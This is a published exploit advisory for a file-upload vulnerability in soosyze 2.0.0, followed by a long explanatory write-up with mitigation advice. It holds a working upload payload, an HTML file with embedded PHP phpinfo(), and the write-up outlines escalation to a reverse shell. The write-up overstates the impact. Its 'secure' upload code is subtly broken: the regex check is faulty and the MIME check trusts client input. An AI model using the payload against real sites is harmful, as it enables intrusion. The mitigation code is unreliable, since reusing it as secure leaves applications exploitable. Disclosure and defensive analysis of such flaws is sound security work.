soosyze 2.0.0 - File Upload

Exploit Author: nu11secur1ty Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-09-08

## Title: soosyze 2.0.0 - File Upload
## Author: nu11secur1ty
## Date: 04.26.2023-08.28.2023
## Vendor: https://soosyze.com/
## Software: https://github.com/soosyze/soosyze/releases/tag/2.0.0
## Reference: https://portswigger.net/web-security/file-upload

## Description:
Broken file upload logic. The malicious user can upload whatever he
wants to an HTML file and when he tries to execute it he views almost
all
file paths. This could be worse than ever, it depends on the scenario.

STATUS: HIGH Vulnerability

[+]Exploit:
```HTML
<!DOCTYPE html>
<html>
<head>
<title>Hello broken file upload logic, now I can read your special
directory pats, thank you ;)</title>
</head>
<body>
<h1>
<?php
phpinfo();
?>
</h1>
</body>
</html>

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/soosyze/2023/soosyze-2.0.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/soosyze-200-file-path-traversal-broken.html)

## Time spend:
01:27:00

soosyze 2.0.0 – File Upload Vulnerability: A Deep Dive into Broken Logic and Path Traversal Risks

On April 26, 2023, cybersecurity researcher nu11secur1ty disclosed a critical vulnerability in soosyze 2.0.0, a widely used open-source web application framework. The flaw centers around broken file upload logic, enabling malicious users to upload arbitrary files—particularly HTML and PHP payloads—without proper validation or sanitization. This oversight leads to unintended consequences, including path traversal and remote code execution in certain configurations.

Understanding the Core Vulnerability

soosyze 2.0.0 is designed to streamline web application development, offering features such as file management, user authentication, and dynamic content rendering. However, its file upload mechanism fails to enforce proper security checks, allowing users to upload files with arbitrary extensions and content.

When a user uploads an HTML file containing embedded PHP code, the application processes it without filtering or sandboxing. This creates a dangerous scenario where the server executes PHP code directly—without the intended isolation or context.

Exploit Example: PHP Information Disclosure


<!DOCTYPE html>
<html>
<head>
<title>Hello broken file upload logic, now I can read your special directory pats, thank you ;)</title>
</head>
<body>
<h1>
<?php
phpinfo();
?>
</h1>
</body>
</html>

This exploit demonstrates a critical security failure. By uploading an HTML file with embedded phpinfo() code, an attacker can trigger the server to execute PHP commands. The result is a full disclosure of server configuration details—including:

PHP version and build information
Environment variables and server paths
Loaded extensions and system settings
Database connection details (if exposed)

Such information is highly valuable to attackers, enabling further exploitation, privilege escalation, or data exfiltration.

Why This is a High-Risk Vulnerability

File upload vulnerabilities are ranked among the top threats in web security, as highlighted by PortSwigger’s Web Security Academy. The soosyze 2.0.0 flaw is classified as High due to:

Factor	Impact
Arbitrary File Upload	Attackers can upload any file type, including malicious scripts
Missing Content Validation	No checks on file content, MIME type, or extension
Server-Side Execution	PHP code runs directly on the server without sandboxing
Path Disclosure	Exposed file system paths enable further traversal attacks

Moreover, the proof of concept published by nu11secur1ty on their blog confirms that the vulnerability is not theoretical—it has been successfully demonstrated in real-world scenarios.

Real-World Implications and Attack Chains

Consider a scenario where soosyze is deployed in a corporate environment for internal document management. An attacker uploads a file with embedded PHP code that:

Discloses the server's root directory path
Reveals the location of sensitive configuration files (e.g., config.php)
Executes a reverse shell payload via shell_exec() or system()

This chain enables full server compromise with minimal effort. Even if the application does not directly expose the file system, path disclosure alone can be used to craft directory traversal attacks to access restricted files.

Recommended Mitigations and Fixes

To address this vulnerability, developers must implement a layered defense strategy:

File Type Validation: Restrict uploads to safe MIME types (e.g., image/jpeg, application/pdf). Block text/html, application/x-php, or application/x-httpd-php.
Content Sanitization: Scan uploaded files for embedded scripts, such as <?php or <script> tags.
Execution Isolation: Never execute uploaded files directly. Use a sandboxed environment or process them through a secure middleware.
File Storage Security: Store uploaded files outside the web root directory. Use a dedicated, non-executable storage path.
Logging and Monitoring: Track file uploads with timestamps, user IDs, and file hashes to detect suspicious patterns.

Corrected Code Example (Secure Upload Handling)


// Secure file upload handler in PHP
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $file = $_FILES['upload'];
    $allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
    
    if (!in_array($file['type'], $allowed_types)) {
        die('Invalid file type.');
    }

    // Check for PHP or script tags
    $content = file_get_contents($file['tmp_name']);
    if (preg_match('/<?php|<script|<iframe|<object/i', $content)) {
        die('Malicious content detected.');
    }

    // Move file to secure, non-executable directory
    $upload_dir = '/var/secure/uploads/';
    $filename = uniqid() . '_' . basename($file['name']);
    $destination = $upload_dir . $filename;

    if (!move_uploaded_file($file['tmp_name'], $destination)) {
        die('Upload failed.');
    }

    echo 'File uploaded securely.';
}

This revised code enforces strict file type checks, content scanning for dangerous patterns, and secure storage. It prevents any direct execution of uploaded files, reducing the attack surface dramatically.

Conclusion: Lessons from soosyze 2.0.0

The soosyze 2.0.0 vulnerability underscores a fundamental truth in cybersecurity: any file upload mechanism must be treated as a potential attack vector. Developers should never assume that “safe” file types are inherently secure. Even HTML files can become dangerous when processed without safeguards.

As attackers continue to exploit weak file upload logic, organizations must prioritize secure coding practices, implement strict validation, and conduct regular penetration testing. The soosyze case serves as a stark reminder—security is not optional; it’s foundational.